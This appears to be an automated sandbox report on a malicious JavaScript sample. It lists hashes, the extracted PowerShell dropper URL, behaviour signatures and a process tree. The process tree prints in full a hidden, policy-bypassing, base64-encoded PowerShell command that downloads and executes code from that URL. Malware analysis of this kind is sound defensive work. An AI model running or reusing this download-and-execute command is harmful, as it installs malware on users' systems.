Analysis
- max time kernel
10s - max time network
152s - platform
windows10_x64 - resource
win10v20210410 - submitted
24/07/2021, 06:44
Static task
static1
Behavioral task
behavioral1
Sample
191Statm4447.js
Resource
win7v20210408
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
191Statm4447.js
Resource
win10v20210410
0 signatures
0 seconds
General
- Target 191Statm4447.js
- Size 951KB
- Sample210724-mxezhvn2qs
- SHA256 8b60588bfb3e5743a093252a87c72ed4130be3a5fc70660cdd7d7e34c42ec888
- MD5 56d536052b3019e00e974bf0dfd19549
- SHA1 bd63fe24469e1b40ce428f03c947fbd146070182
- SHA512 39966ee53572169192be8fb2d18ae5b72094a5287f54914d261f7a3430871cfed06ff9b1a8ca6abbe512686cefc3b272240ece186fbafe926076d47ef0fb2e8d
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://www.chipmania.it/points.php
Signatures
- Blocklisted process makes network request 1 IoCs
flow pid Process 9 504 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
pid pid_target Process procid_target 4028 504 WerFault.exe 78 - Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 504 powershell.exe 504 powershell.exe 504 powershell.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 504 powershell.exe Token: SeDebugPrivilege 4028 WerFault.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1696 wrote to memory of 2632 1696 wscript.exe 75 PID 1696 wrote to memory of 2632 1696 wscript.exe 75 PID 2632 wrote to memory of 504 2632 cmd.exe 78 PID 2632 wrote to memory of 504 2632 cmd.exe 78
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\191Statm4447.js1⤵
- Suspicious use of WriteProcessMemory
PID:1696 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGgAaQBwAG0AYQBuAGkAYQAuAGkAdAAvAHAAbwBpAG4AdABzAC4AcABoAHAAIgApAA==2⤵
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGgAaQBwAG0AYQBuAGkAYQAuAGkAdAAvAHAAbwBpAG4AdABzAC4AcABoAHAAIgApAA==3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:504 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 504 -s 23084⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4028
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